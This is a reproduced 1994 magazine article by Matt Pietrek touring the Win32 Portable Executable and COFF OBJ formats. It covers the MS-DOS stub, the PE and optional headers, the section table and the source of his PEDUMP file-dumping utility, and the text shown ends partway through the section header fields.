Foundation  
  
Ten Essential Tools: Visual Studio Add-Ins Every Developer Should Download Now  
  
ASP.NET MVC: Building Web Apps without Web Forms  
  
Gadgets: Build Your Own Windows Vista Sidebar Gadget  
  
| Debugging and Error Handling Technical Articles Peering Inside the PE: A
Tour of the Win32 Portable Executable File Format  Matt Pietrek March 1994
_Matt Pietrek is the author of_ Windows Internals _\(Addison-Wesley, 1993\).
He works at Nu-Mega Technologies Inc., and can be reached via CompuServe:
71774,362_ _This article is reproduced from the March 1994 issue of _Microsoft
Systems Journal _. Copyright © 1994 by Miller Freeman, Inc. All rights are
reserved. No part of this article may be reproduced in any fashion \(except in
brief quotations used in critical articles and reviews\) without the prior
consent of Miller Freeman._ _To contact Miller Freeman regarding subscription
information, call \(800\) 666-1084 in the U.S., or \(303\) 447-9330 in all
other countries. For other inquiries, call \(415\) 358-9500._  
The format of an operating system's executable file is in many ways a mirror
of the operating system. Although studying an executable file format isn't
usually high on most programmers' list of things to do, a great deal of
knowledge can be gleaned this way. In this article, I'll give a tour of the
Portable Executable \(PE\) file format that Microsoft has designed for use by
all their Win32®-based systems: Windows NT®, Win32s™, and Windows® 95. The PE
format plays a key role in all of Microsoft's operating systems for the
foreseeable future, including Windows 2000. If you use Win32s or Windows NT,
you're already using PE files. Even if you program only for Windows 3.1 using
Visual C++®, you're still using PE files \(the 32-bit MS-DOS® extended
components of Visual C++ use this format\). In short, PEs are already
pervasive and will become unavoidable in the near future. Now is the time to
find out what this new type of executable file brings to the operating system
party. I'm not going to make you stare at endless hex dumps and chew over the
significance of individual bits for pages on end. Instead, I'll present the
concepts embedded in the PE file format and relate them to things you
encounter everyday. For example, the notion of thread local variables, as in

[code]

    declspec(thread) int i;
    
    
[/code]

drove me crazy until I saw how it was implemented with elegant simplicity in
the executable file. Since many of you are coming from a background in 16-bit
Windows, I'll correlate the constructs of the Win32 PE file format back to
their 16-bit NE file format equivalents. In addition to a different executable
format, Microsoft also introduced a new object module format produced by their
compilers and assemblers. This new OBJ file format has many things in common
with the PE executable format. I've searched in vain to find any documentation
on the new OBJ file format. So I deciphered it on my own, and will describe
parts of it here in addition to the PE format. It's common knowledge that
Windows NT has a VAX® VMS® and UNIX® heritage. Many of the Windows NT creators
designed and coded for those platforms before coming to Microsoft. When it
came time to design Windows NT, it was only natural that they tried to
minimize their bootstrap time by using previously written and tested tools.
The executable and object module format that these tools produced and worked
with is called COFF \(an acronym for Common Object File Format\). The relative
age of COFF can be seen by things such as fields specified in octal format.
The COFF format by itself was a good starting point, but needed to be extended
to meet all the needs of a modern operating system like Windows NT or Windows
95. The result of this updating is the Portable Executable format. It's called
"portable" because all the implementations of Windows NT on various platforms
\(x86, MIPS®, Alpha, and so on\) use the same executable format. Sure, there
are differences in things like the binary encodings of CPU instructions. The
important thing is that the operating system loader and programming tools
don't have to be completely rewritten for each new CPU that arrives on the
scene. The strength of Microsoft's commitment to get Windows NT up and running
quickly is evidenced by the fact that they abandoned existing 32-bit tools and
file formats. Virtual device drivers written for 16-bit Windows were using a
different 32-bit file layout—the LE format—long before Windows NT appeared on
the scene. More important than that is the shift of OBJ formats. Prior to the
Windows NT C compiler, all Microsoft compilers used the Intel OMF \(Object
Module Format\) specification. As mentioned earlier, the Microsoft compilers
for Win32 produce COFF-format OBJ files. Some Microsoft competitors such as
Borland and Symantec have chosen to forgo the COFF format OBJs and stick with
the Intel OMF format. The upshot of this is that companies producing OBJs or
LIBs for use with multiple compilers will need to go back to distributing
separate versions of their products for different compilers \(if they weren't
already\). The PE format is documented \(in the loosest sense of the word\) in
the WINNT.H header file. About midway through WINNT.H is a section titled
"Image Format." This section starts out with small tidbits from the old
familiar MS-DOS MZ format and NE format headers before moving into the newer
PE information. WINNT.H provides definitions of the raw data structures used
by PE files, but contains only a few useful comments to make sense of what the
structures and flags mean. Whoever wrote the header file for the PE format
\(the name Michael J. O'Leary keeps popping up\) is certainly a believer in
long, descriptive names, along with deeply nested structures and macros. When
coding with WINNT.H, it's not uncommon to have expressions like this:

[code]

    pNTHeader->
    OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress;
    
    
[/code]

To help make logical sense of the information in WINNT.H, read the Portable
Executable and Common Object File Format Specification, available on MSDN
Library quarterly CD-ROM releases up to and including October 2001. Turning
momentarily to the subject of COFF-format OBJs, the WINNT.H header file
includes structure definitions and typedefs for COFF OBJ and LIB files.
Unfortunately, I've been unable to find any documentation on this similar to
that for the executable file mentioned above. Since PE files and COFF OBJ
files are so similar, I decided that it was time to bring these files out into
the light and document them as well. Beyond just reading about what PE files
are composed of, you'll also want to dump some PE files to see these concepts
for yourself. If you use Microsoft® tools for Win32-based development, the
DUMPBIN program will dissect and output PE files and COFF OBJ/LIB files in
readable form. Of all the PE file dumpers, DUMPBIN is easily the most
comprehensive. It even has a nifty option to disassemble the code sections in
the file it's taking apart. Borland users can use TDUMP to view PE executable
files, but TDUMP doesn't understand the COFF OBJ files. This isn't a big deal
since the Borland compiler doesn't produce COFF-format OBJs in the first
place. I've written a PE and COFF OBJ file dumping program, PEDUMP \(see Table
1\), that I think provides more understandable output than DUMPBIN. Although
it doesn't have a disassembler or work with LIB files, it is otherwise
functionally equivalent to DUMPBIN, and adds a few new features to make it
worth considering. The source code for PEDUMP is available on any MSJ bulletin
board, so I won't list it here in its entirety. Instead, I'll show sample
output from PEDUMP to illustrate the concepts as I describe them. **Table 1.
PEDUMP.C**

[code]

    //--------------------
    // PROGRAM: PEDUMP
    // FILE:    PEDUMP.C
    // AUTHOR:  Matt Pietrek - 1993
    //--------------------
    #include <windows.h>
    #include <stdio.h>
    #include "objdump.h"
    #include "exedump.h"
    #include "extrnvar.h"
    
    // Global variables set here, and used in EXEDUMP.C and OBJDUMP.C
    BOOL fShowRelocations = FALSE;
    BOOL fShowRawSectionData = FALSE;
    BOOL fShowSymbolTable = FALSE;
    BOOL fShowLineNumbers = FALSE;
    
    char HelpText[] = 
    "PEDUMP - Win32/COFF .EXE/.OBJ file dumper - 1993 Matt Pietrek\n\n"
    "Syntax: PEDUMP [switches] filename\n\n"
    "  /A    include everything in dump\n"
    "  /H    include hex dump of sections\n"
    "  /L    include line number information\n"
    "  /R    show base relocations\n"
    "  /S    show symbol table\n";
    
    // Open up a file, memory map it, and call the appropriate dumping routine
    void DumpFile(LPSTR filename)
    {
        HANDLE hFile;
        HANDLE hFileMapping;
        LPVOID lpFileBase;
        PIMAGE_DOS_HEADER dosHeader;
        
        hFile = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL,
                            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
                        
        if ( hFile = = INVALID_HANDLE_VALUE )
        {   printf("Couldn't open file with CreateFile()\n");
            return; }
        
        hFileMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
        if ( hFileMapping = = 0 )
        {   CloseHandle(hFile);
            printf("Couldn't open file mapping with CreateFileMapping()\n");
            return; }
        
        lpFileBase = MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, 0);
        if ( lpFileBase = = 0 )
        {
            CloseHandle(hFileMapping);
            CloseHandle(hFile);
            printf("Couldn't map view of file with MapViewOfFile()\n");
            return;
        }
    
        printf("Dump of file %s\n\n", filename);
        
        dosHeader = (PIMAGE_DOS_HEADER)lpFileBase;
        if ( dosHeader->e_magic = = IMAGE_DOS_SIGNATURE )
           { DumpExeFile( dosHeader ); }
        else if ( (dosHeader->e_magic = = 0x014C)    // Does it look like a i386
                  && (dosHeader->e_sp = = 0) )        // COFF OBJ file???
        {
            // The two tests above aren't what they look like.  They're
            // really checking for IMAGE_FILE_HEADER.Machine = = i386 (0x14C)
            // and IMAGE_FILE_HEADER.SizeOfOptionalHeader = = 0;
            DumpObjFile( (PIMAGE_FILE_HEADER)lpFileBase );
        }
        else
            printf("unrecognized file format\n");
        UnmapViewOfFile(lpFileBase);
        CloseHandle(hFileMapping);
        CloseHandle(hFile);
    }
    
    // process all the command line arguments and return a pointer to
    // the filename argument.
    PSTR ProcessCommandLine(int argc, char *argv[])
    {
        int i;
        
        for ( i=1; i < argc; i++ )
        {
            strupr(argv[i]);
            
            // Is it a switch character?
            if ( (argv[i][0] = = '-') || (argv[i][0] = = '/') )
            {
                if ( argv[i][1] = = 'A' )
                {   fShowRelocations = TRUE;
                    fShowRawSectionData = TRUE;
                    fShowSymbolTable = TRUE;
                    fShowLineNumbers = TRUE; }
                else if ( argv[i][1] = = 'H' )
                    fShowRawSectionData = TRUE;
                else if ( argv[i][1] = = 'L' )
                    fShowLineNumbers = TRUE;
                else if ( argv[i][1] = = 'R' )
                    fShowRelocations = TRUE;
                else if ( argv[i][1] = = 'S' )
                    fShowSymbolTable = TRUE;
            }
            else    // Not a switch character.  Must be the filename
            {   return argv[i]; }
        }
    }
    
    int main(int argc, char *argv[])
    {
        PSTR filename;
        
        if ( argc = = 1 )
        {   printf(    HelpText );
            return 1; }
        
        filename = ProcessCommandLine(argc, argv);
        if ( filename )
            DumpFile( filename );
        return 0;
    }
      
    
[/code]

## Win32 and PE Basic Concepts

Let's go over a few fundamental ideas that permeate the design of a PE file
\(see Figure 1\). I'll use the term "module" to mean the code, data, and
resources of an executable file or DLL that have been loaded into memory.
Besides code and data that your program uses directly, a module is also
composed of the supporting data structures used by Windows to determine where
the code and data is located in memory. In 16-bit Windows, the supporting data
structures are in the module database \(the segment referred to by an
HMODULE\). In Win32, these data structures are in the PE header, which I'll
explain shortly. `<img src='img/Temp2_6178.gif' />`**Figure 1. The PE file
format** The first important thing to know about PE files is that the
executable file on disk is very similar to what the module will look like
after Windows has loaded it. The Windows loader doesn't need to work extremely
hard to create a process from the disk file. The loader uses the memory-mapped
file mechanism to map the appropriate pieces of the file into the virtual
address space. To use a construction analogy, a PE file is like a
prefabricated home. It's essentially brought into place in one piece, followed
by a small amount of work to wire it up to the rest of the world \(that is, to
connect it to its DLLs and so on\). This same ease of loading applies to PE-
format DLLs as well. Once the module has been loaded, Windows can effectively
treat it like any other memory-mapped file. This is in marked contrast to the
situation in 16-bit Windows. The 16-bit NE file loader reads in portions of
the file and creates completely different data structures to represent the
module in memory. When a code or data segment needs to be loaded, the loader
has to allocate a new segment from the global heap, find where the raw data is
stored in the executable file, seek to that location, read in the raw data,
and apply any applicable fixups. In addition, each 16-bit module is
responsible for remembering all the selectors it's currently using, whether
the segment has been discarded, and so on. For Win32, all the memory used by
the module for code, data, resources, import tables, export tables, and other
required module data structures is in one contiguous block of memory. All you
need to know in this situation is where the loader mapped the file into
memory. You can easily find all the various pieces of the module by following
pointers that are stored as part of the image. Another idea you should be
acquainted with is the Relative Virtual Address \(RVA\). Many fields in PE
files are specified in terms of RVAs. An RVA is simply the offset of some
item, relative to where the file is memory-mapped. For example, let's say the
loader maps a PE file into memory starting at address 0x10000 in the virtual
address space. If a certain table in the image starts at address 0x10464, then
the table's RVA is 0x464.

[code]

     (Virtual address 0x10464)-(base address 0x10000) = RVA 0x00464
    
    
[/code]

To convert an RVA into a usable pointer, simply add the RVA to the base
address of the module. The base address is the starting address of a memory-
mapped EXE or DLL and is an important concept in Win32. For the sake of
convenience, Windows NT and Windows 95 uses the base address of a module as
the module's instance handle \(HINSTANCE\). In Win32, calling the base address
of a module an HINSTANCE is somewhat confusing, because the term "instance
handle" comes from 16-bit Windows. Each copy of an application in 16-bit
Windows gets its own separate data segment \(and an associated global handle\)
that distinguishes it from other copies of the application, hence the term
instance handle. In Win32, applications don't need to be distinguished from
one another because they don't share the same address space. Still, the term
HINSTANCE persists to keep continuity between 16-bit Windows and Win32. What's
important for Win32 is that you can call GetModuleHandle for any DLL that your
process uses to get a pointer for accessing the module's components. The final
concept that you need to know about PE files is sections. A section in a PE
file is roughly equivalent to a segment or the resources in an NE file.
Sections contain either code or data. Unlike segments, sections are blocks of
contiguous memory with no size constraints. Some sections contain code or data
that your program declared and uses directly, while other data sections are
created for you by the linker and librarian, and contain information vital to
the operating system. In some descriptions of the PE format, sections are also
referred to as objects. The term object has so many overloaded meanings that
I'll stick to calling the code and data areas sections.

## The PE Header

Like all other executable file formats, the PE file has a collection of fields
at a known \(or easy to find\) location that define what the rest of the file
looks like. This header contains information such as the locations and sizes
of the code and data areas, what operating system the file is intended for,
the initial stack size, and other vital pieces of information that I'll
discuss shortly. As with other executable formats from Microsoft, this main
header isn't at the very beginning of the file. The first few hundred bytes of
the typical PE file are taken up by the MS-DOS stub. This stub is a tiny
program that prints out something to the effect of "This program cannot be run
in MS-DOS mode." So if you run a Win32-based program in an environment that
doesn't support Win32, you'll get this informative error message. When the
Win32 loader memory maps a PE file, the first byte of the mapped file
corresponds to the first byte of the MS-DOS stub. That's right. With every
Win32-based program you start up, you get an MS-DOS-based program loaded for
free\! As in other Microsoft executable formats, you find the real header by
looking up its starting offset, which is stored in the MS-DOS stub header. The
WINNT.H file includes a structure definition for the MS-DOS stub header that
makes it very easy to look up where the PE header starts. The e\_lfanew field
is a relative offset \(or RVA, if you prefer\) to the actual PE header. To get
a pointer to the PE header in memory, just add that field's value to the image
base:

[code]

    // Ignoring typecasts and pointer conversion issues for clarity...
    pNTHeader = dosHeader + dosHeader->e_lfanew;
    
    
[/code]

Once you have a pointer to the main PE header, the fun can begin. The main PE
header is a structure of type IMAGE\_NT\_HEADERS, which is defined in WINNT.H.
This structure is composed of a DWORD and two substructures and is laid out as
follows:

[code]

    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER OptionalHeader;
    
    
[/code]

The Signature field viewed as ASCII text is "PE\0\0". If after using the
e\_lfanew field in the MS-DOS header, you find an NE signature here rather
than a PE, you're working with a 16-bit Windows NE file. Likewise, an LE in
the signature field would indicate a Windows 3.x virtual device driver
\(VxD\). An LX here would be the mark of a file for OS/2 2.0. Following the PE
signature DWORD in the PE header is a structure of type IMAGE\_FILE\_HEADER.
The fields of this structure contain only the most basic information about the
file. The structure appears to be unmodified from its original COFF
implementations. Besides being part of the PE header, it also appears at the
very beginning of the COFF OBJs produced by the Microsoft Win32 compilers. The
fields of the IMAGE\_FILE\_HEADER are shown in Table 2. **Table 2.
IMAGE\_FILE\_HEADER Fields**

`WORD Machine`

    The CPU that this file is intended for. The following CPU IDs are defined:| 0x14d | Intel i860   
---|---  
0x14c | Intel I386 \(same ID used for 486 and 586\)   
0x162 | MIPS R3000   
0x166 | MIPS R4000   
0x183 | DEC Alpha AXP   
`WORD NumberOfSections`

    The number of sections in the file. 
`DWORD TimeDateStamp`

    The time that the linker \(or compiler for an OBJ file\) produced this file. This field holds the number of seconds since December 31st, 1969, at 4:00 P.M. 
`DWORD PointerToSymbolTable`

    The file offset of the COFF symbol table. This field is only used in OBJ files and PE files with COFF debug information. PE files support multiple debug formats, so debuggers should refer to the IMAGE\_DIRECTORY\_ENTRY\_DEBUG entry in the data directory \(defined later\). 
`DWORD NumberOfSymbols`

    The number of symbols in the COFF symbol table. See above. 
`WORD SizeOfOptionalHeader`

    The size of an optional header that can follow this structure. In OBJs, the field is 0. In executables, it is the size of the IMAGE\_OPTIONAL\_HEADER structure that follows this structure. 
`WORD Characteristics`

    Flags with information about the file. Some important fields:
> 0x0001
|

> There are no relocations in this file  
---|---  
> 0x0002
|

> File is an executable image \(not a OBJ or LIB\)  
> 0x2000
|

> File is a dynamic-link library, not a program  
> Other fields are defined in WINNT.H
The third component of the PE header is a structure of type
IMAGE\_OPTIONAL\_HEADER. For PE files, this portion certainly isn't optional.
The COFF format allows individual implementations to define a structure of
additional information beyond the standard IMAGE\_FILE\_HEADER. The fields in
the IMAGE\_OPTIONAL\_HEADER are what the PE designers felt was critical
information beyond the basic information in the IMAGE\_FILE\_HEADER.

All of the fields of the IMAGE\_OPTIONAL\_HEADER aren't necessarily important
to know about \(see Figure 4\). The more important ones to be aware of are the
ImageBase and the Subsystem fields. You can skim or skip the description of
the fields.

**Table 3. IMAGE\_OPTIONAL\_HEADER Fields**

`WORD Magic`

    Appears to be a signature WORD of some sort. Always appears to be set to 0x010B. 
`BYTE MajorLinkerVersion`

`BYTE MinorLinkerVersion`

    The version of the linker that produced this file. The numbers should be displayed as decimal values, rather than as hex. A typical linker version is 2.23. 
`DWORD SizeOfCode`

    The combined and rounded-up size of all the code sections. Usually, most files only have one code section, so this field matches the size of the .text section. 
`DWORD SizeOfInitializedData`

    This is supposedly the total size of all the sections that are composed of initialized data \(not including code segments.\) However, it doesn't seem to be consistent with what appears in the file. 
`DWORD SizeOfUninitializedData`

    The size of the sections that the loader commits space for in the virtual address space, but that don't take up any space in the disk file. These sections don't need to have specific values at program startup, hence the term uninitialized data. Uninitialized data usually goes into a section called .bss. 
`DWORD AddressOfEntryPoint`

    The address where the loader will begin execution. This is an RVA, and usually can usually be found in the .text section. 
`DWORD BaseOfCode`

    The RVA where the file's code sections begin. The code sections typically come before the data sections and after the PE header in memory. This RVA is usually 0x1000 in Microsoft Linker-produced EXEs. Borland's TLINK32 looks like it adds the image base to the RVA of the first code section and stores the result in this field. 
`DWORD BaseOfData`

    The RVA where the file's data sections begin. The data sections typically come last in memory, after the PE header and the code sections. 
`DWORD ImageBase`

    When the linker creates an executable, it assumes that the file will be memory-mapped to a specific location in memory. That address is stored in this field, assuming a load address allows linker optimizations to take place. If the file really is memory-mapped to that address by the loader, the code doesn't need any patching before it can be run. In executables produced for Windows NT, the default image base is 0x10000. For DLLs, the default is 0x400000. In Windows 95, the address 0x10000 can't be used to load 32-bit EXEs because it lies within a linear address region shared by all processes. Because of this, Microsoft has changed the default base address for Win32 executables to 0x400000. Older programs that were linked assuming a base address of 0x10000 will take longer to load under Windows 95 because the loader needs to apply the base relocations. 
`DWORD SectionAlignment`

    When mapped into memory, each section is guaranteed to start at a virtual address that's a multiple of this value. For paging purposes, the default section alignment is 0x1000. 
`DWORD FileAlignment`

    In the PE file, the raw data that comprises each section is guaranteed to start at a multiple of this value. The default value is 0x200 bytes, probably to ensure that sections always start at the beginning of a disk sector \(which are also 0x200 bytes in length\). This field is equivalent to the segment/resource alignment size in NE files. Unlike NE files, PE files typically don't have hundreds of sections, so the space wasted by aligning the file sections is almost always very small. 
`WORD MajorOperatingSystemVersion`

`WORD MinorOperatingSystemVersion`

    The minimum version of the operating system required to use this executable. This field is somewhat ambiguous since the subsystem fields \(a few fields later\) appear to serve a similar purpose. This field defaults to 1.0 in all Win32 EXEs to date. 
`WORD MajorImageVersion`

`WORD MinorImageVersion`

    A user-definable field. This allows you to have different versions of an EXE or DLL. You set these fields via the linker /VERSION switch. For example, "LINK /VERSION:2.0 myobj.obj". 
`WORD MajorSubsystemVersion`

`WORD MinorSubsystemVersion`

    Contains the minimum subsystem version required to run the executable. A typical value for this field is 3.10 \(meaning Windows NT 3.1\). 
`DWORD Reserved1`

    Seems to always be 0. 
`DWORD SizeOfImage`

    This appears to be the total size of the portions of the image that the loader has to worry about. It is the size of the region starting at the image base up to the end of the last section. The end of the last section is rounded up to the nearest multiple of the section alignment. 
`DWORD SizeOfHeaders`

    The size of the PE header and the section \(object\) table. The raw data for the sections starts immediately after all the header components. 
`DWORD CheckSum`

    Supposedly a CRC checksum of the file. As in other Microsoft executable formats, this field is ignored and set to 0. The one exception to this rule is for trusted services and these EXEs must have a valid checksum. 
`WORD Subsystem`

    The type of subsystem that this executable uses for its user interface. WINNT.H defines the following values:
> NATIVE
|

> 1
|

> Doesn't require a subsystem \(such as a device driver\)  
---|---|---  
> WINDOWS\_GUI
|

> 2
|

> Runs in the Windows GUI subsystem  
> WINDOWS\_CUI
|

> 3
|

> Runs in the Windows character subsystem \(a console app\)  
> OS2\_CUI
|

> 5
|

> Runs in the OS/2 character subsystem \(OS/2 1.x apps only\)  
> POSIX\_CUI
|

> 7
|

> Runs in the Posix character subsystem  
`WORD DllCharacteristics`

    A set of flags indicating under which circumstances a DLL's initialization function \(such as DllMain\) will be called. This value appears to always be set to 0, yet the operating system still calls the DLL initialization function for all four events. 
> The following values are defined:
1 | Call when DLL is first loaded into a process's address space   
---|---  
2 | Call when a thread terminates   
4 | Call when a thread starts up   
8 | Call when DLL exits   
`DWORD SizeOfStackReserve`

    The amount of virtual memory to reserve for the initial thread's stack. Not all of this memory is committed, however \(see the next field\). This field defaults to 0x100000 \(1MB\). If you specify 0 as the stack size to CreateThread, the resulting thread will also have a stack of this same size. 
`DWORD SizeOfStackCommit`

    The amount of memory initially committed for the initial thread's stack. This field defaults to 0x1000 bytes \(1 page\) for the Microsoft Linker while TLINK32 makes it two pages. 
`DWORD SizeOfHeapReserve`

    The amount of virtual memory to reserve for the initial process heap. This heap's handle can be obtained by calling GetProcessHeap. Not all of this memory is committed \(see the next field\). 
`DWORD SizeOfHeapCommit`

    The amount of memory initially committed in the process heap. The default is one page. 
`DWORD LoaderFlags`

    From WINNT.H, these appear to be fields related to debugging support. I've never seen an executable with either of these bits enabled, nor is it clear how to get the linker to set them. The following values are defined:
1\. | Invoke a breakpoint instruction before starting the process   
---|---  
2\. | Invoke a debugger on the process after it's been loaded   
`DWORD NumberOfRvaAndSizes`

    The number of entries in the DataDirectory array \(below\). This value is always set to 16 by the current tools. 
`IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]`

    An array of IMAGE\_DATA\_DIRECTORY structures. The initial array elements contain the starting RVA and sizes of important portions of the executable file. Some elements at the end of the array are currently unused. The first element of the array is always the address and size of the exported function table \(if present\). The second array entry is the address and size of the imported function table, and so on. For a complete list of defined array entries, see the IMAGE\_DIRECTORY\_ENTRY\_XXX \#defines in WINNT.H. This array allows the loader to quickly find a particular section of the image \(for example, the imported function table\), without needing to iterate through each of the images sections, comparing names as it goes along. Most array entries describe an entire section's data. However, the IMAGE\_DIRECTORY\_ENTRY\_DEBUG element only encompasses a small portion of the bytes in the .rdata section. 
## The Section Table

Between the PE header and the raw data for the image's sections lies the
section table. The section table is essentially a phone book containing
information about each section in the image. The sections in the image are
sorted by their starting address \(RVAs\), rather than alphabetically.

Now I can better clarify what a section is. In an NE file, your program's code
and data are stored in distinct "segments" in the file. Part of the NE header
is an array of structures, one for each segment your program uses. Each
structure in the array contains information about one segment. The information
stored includes the segment's type \(code or data\), its size, and its
location elsewhere in the file. In a PE file, the section table is analogous
to the segment table in the NE file. Unlike an NE file segment table, though,
a PE section table doesn't store a selector value for each code or data chunk.
Instead, each section table entry stores an address where the file's raw data
has been mapped into memory. While sections are analogous to 32-bit segments,
they really aren't individual segments. They're just really memory ranges in a
process's virtual address space.

Another area where PE files differ from NE files is how they manage the
supporting data that your program doesn't use, but the operating system does;
for example, the list of DLLs that the executable uses or the location of the
fixup table. In an NE file, resources aren't considered segments. Even though
they have selectors assigned to them, information about resources is not
stored in the NE header's segment table. Instead, resources are relegated to a
separate table towards the end of the NE header. Information about imported
and exported functions also doesn't warrant its own segment; it's crammed into
the NE header.

The story with PE files is different. Anything that might be considered vital
code or data is stored in a full-fledged section. Thus, information about
imported functions is stored in its own section, as is the table of functions
that the module exports. The same goes for the relocation data. Any code or
data that might be needed by either the program or the operating system gets
its own section.

Before I discuss specific sections, I need to describe the data that the
operating system manages the sections with. Immediately following the PE
header in memory is an array of IMAGE\_SECTION\_HEADERs. The number of
elements in this array is given in the PE header \(the
IMAGE\_NT\_HEADER.FileHeader.NumberOfSections field\). I used PEDUMP to output
the section table and all of the section's fields and attributes. Figure 5
shows the PEDUMP output of a section table for a typical EXE file, and Figure
6 shows the section table in an OBJ file.

**Table 4. A Typical Section Table from an EXE File**

[code]

    01 .text     VirtSize: 00005AFA  VirtAddr:  00001000
        raw data offs:   00000400  raw data size: 00005C00
        relocation offs: 00000000  relocations:   00000000
        line # offs:     00009220  line #'s:      0000020C
        characteristics: 60000020
          CODE  MEM_EXECUTE  MEM_READ
    
      02 .bss      VirtSize: 00001438  VirtAddr:  00007000
        raw data offs:   00000000  raw data size: 00001600
        relocation offs: 00000000  relocations:   00000000
        line # offs:     00000000  line #'s:      00000000
        characteristics: C0000080
          UNINITIALIZED_DATA  MEM_READ  MEM_WRITE
    
      03 .rdata    VirtSize: 0000015C  VirtAddr:  00009000
        raw data offs:   00006000  raw data size: 00000200
        relocation offs: 00000000  relocations:   00000000
        line # offs:     00000000  line #'s:      00000000
        characteristics: 40000040
          INITIALIZED_DATA  MEM_READ
    
      04 .data     VirtSize: 0000239C  VirtAddr:  0000A000
        raw data offs:   00006200  raw data size: 00002400
        relocation offs: 00000000  relocations:   00000000
        line # offs:     00000000  line #'s:      00000000
        characteristics: C0000040
          INITIALIZED_DATA  MEM_READ  MEM_WRITE
    
      05 .idata    VirtSize: 0000033E  VirtAddr:  0000D000
        raw data offs:   00008600  raw data size: 00000400
        relocation offs: 00000000  relocations:   00000000
        line # offs:     00000000  line #'s:      00000000
        characteristics: C0000040
          INITIALIZED_DATA  MEM_READ  MEM_WRITE
    
      06 .reloc    VirtSize: 000006CE  VirtAddr:  0000E000
        raw data offs:   00008A00  raw data size: 00000800
        relocation offs: 00000000  relocations:   00000000
        line # offs:     00000000  line #'s:      00000000
        characteristics: 42000040
          INITIALIZED_DATA  MEM_DISCARDABLE  MEM_READ
      
    
[/code]

**Table 5. A Typical Section Table from an OBJ File**

[code]

    01 .drectve  PhysAddr: 00000000  VirtAddr:  00000000
        raw data offs:   000000DC  raw data size: 00000026
        relocation offs: 00000000  relocations:   00000000
        line # offs:     00000000  line #'s:      00000000
        characteristics: 00100A00
          LNK_INFO  LNK_REMOVE
    
      02 .debug$S  PhysAddr: 00000026  VirtAddr:  00000000
        raw data offs:   00000102  raw data size: 000016D0
        relocation offs: 000017D2  relocations:   00000032
        line # offs:     00000000  line #'s:      00000000
        characteristics: 42100048
          INITIALIZED_DATA  MEM_DISCARDABLE  MEM_READ
    
      03 .data     PhysAddr: 000016F6  VirtAddr:  00000000
        raw data offs:   000019C6  raw data size: 00000D87
        relocation offs: 0000274D  relocations:   00000045
        line # offs:     00000000  line #'s:      00000000
        characteristics: C0400040
          INITIALIZED_DATA  MEM_READ  MEM_WRITE
    
      04 .text     PhysAddr: 0000247D  VirtAddr:  00000000
        raw data offs:   000029FF  raw data size: 000010DA
        relocation offs: 00003AD9  relocations:   000000E9
        line # offs:     000043F3  line #'s:      000000D9
        characteristics: 60500020
          CODE  MEM_EXECUTE  MEM_READ
    
      05 .debug$T  PhysAddr: 00003557  VirtAddr:  00000000
        raw data offs:   00004909  raw data size: 00000030
        relocation offs: 00000000  relocations:   00000000
        line # offs:     00000000  line #'s:      00000000
        characteristics: 42100048
          INITIALIZED_DATA  MEM_DISCARDABLE  MEM_READ
      
    
[/code]

Each IMAGE\_SECTION\_HEADER has the format described in Figure 7. It's
interesting to note what's missing from the information stored for each
section. First off, notice that there's no indication of any PRELOAD
attributes. The NE file format allows you to specify with the PRELOAD
attribute which segments should be loaded at module load time. The OS/2® 2.0
LX format has something similar, allowing you to specify up to eight pages to
preload. The PE format has nothing like this. Microsoft must be confident in
the performance of Win32 demand-paged loading.

**Table 6. IMAGE\_SECTION\_HEADER Formats**

`BYTE Name[IMAGE_SIZEOF_SHORT_NAME]`

    This is an 8-byte ANSI name \(not UNICODE\) that names the section. Most section names start with a . \(such as ".text"\), but this is not a requirement, as some PE documentation would have you believe. You can name your own sections with either the segment directive in assembly language, or with "\#pragma data\_seg" and "\#pragma code\_seg" in the Microsoft C/C++ compiler. It's important to note that if the section name takes up the full 8 bytes, there's no NULL terminator byte. If you're a printf devotee, you can use %.8s to avoid copying the name string to another buffer where you can NULL-terminate it. 
`union {`

`DWORD PhysicalAddress`

`DWORD VirtualSize`

`} Misc;`

    This field has different meanings, in EXEs or OBJs. In an EXE, it holds the actual size of the code or data. This is the size before rounding up to the nearest file alignment multiple. The SizeOfRawData field \(seems a bit of a misnomer\) later on in the structure holds the rounded up value. The Borland linker reverses the meaning of these two fields and appears to be correct. For OBJ files, this field indicates the physical address of the section. The first section starts at address 0. To find the physical address in an OBJ file of the next section, add the SizeOfRawData value to the physical address of the current section. 
`DWORD VirtualAddress`

    In EXEs, this field holds the RVA to where the loader should map the section. To calculate the real starting address of a given section in memory, add the base address of the image to the section's VirtualAddress stored in this field. With Microsoft tools, the first section defaults to an RVA of 0x1000. In OBJs, this field is meaningless and is set to 0. 
`DWORD SizeOfRawData`

    In EXEs, this field contains the size of the section after it's been rounded up to the file alignment size. For example, assume a file alignment size of 0x200. If the VirtualSize field from above says that the section is 0x35A bytes in length, this field will say that the section is 0x400 bytes long. In OBJs, this field contains the exact size of the section emitted by the compiler or assembler. In other words, for OBJs, it's equivalent to the VirtualSize field in EXEs. 
`DWORD PointerToRawData`

    This is the file-based offset of where the raw data emitted by the compiler or assembler can be found. If your program memory maps a PE or COFF file itself \(rather than letting the operating system load it\), this field is more important than the VirtualAddress field. You'll have a completely linear file mapping in this situation, so you'll find the data for the sections at this offset, rather than at the RVA specified in the VirtualAddress field. 
`DWORD PointerToRelocations`

    In OBJs, this is the file-based offset to the relocation information for this section. The relocation information for each OBJ section immediately follows the raw data for that section. In EXEs, this field \(and the subsequent field\) are meaningless, and set to 0. When the linker creates the EXE, it resolves most of the fixups, leaving only base address relocations and imported functions to be resolved at load time. The information about base relocations and imported functions is kept in their own sections, so there's no need for an EXE to have per-section relocation data following the raw section data. 
`DWORD PointerToLinenumbers`

    This is the file-based offset of the line number table. A line number table correlates source file line numbers to the addresses of the code generated for a given line. In modern debug formats like the CodeView format, line number information is stored as part of the debug information. In the COFF debug format, however, the line number information is stored separately from the symbolic name/type information. Usually, only code sections \(such as .text\) have line numbers. In EXE files, the line numbers are collected towards the end of the file, after the raw data for the sections. In OBJ files, the line number table for a section comes after the raw section data and the relocation table for that section. 
`WORD NumberOfRelocations`

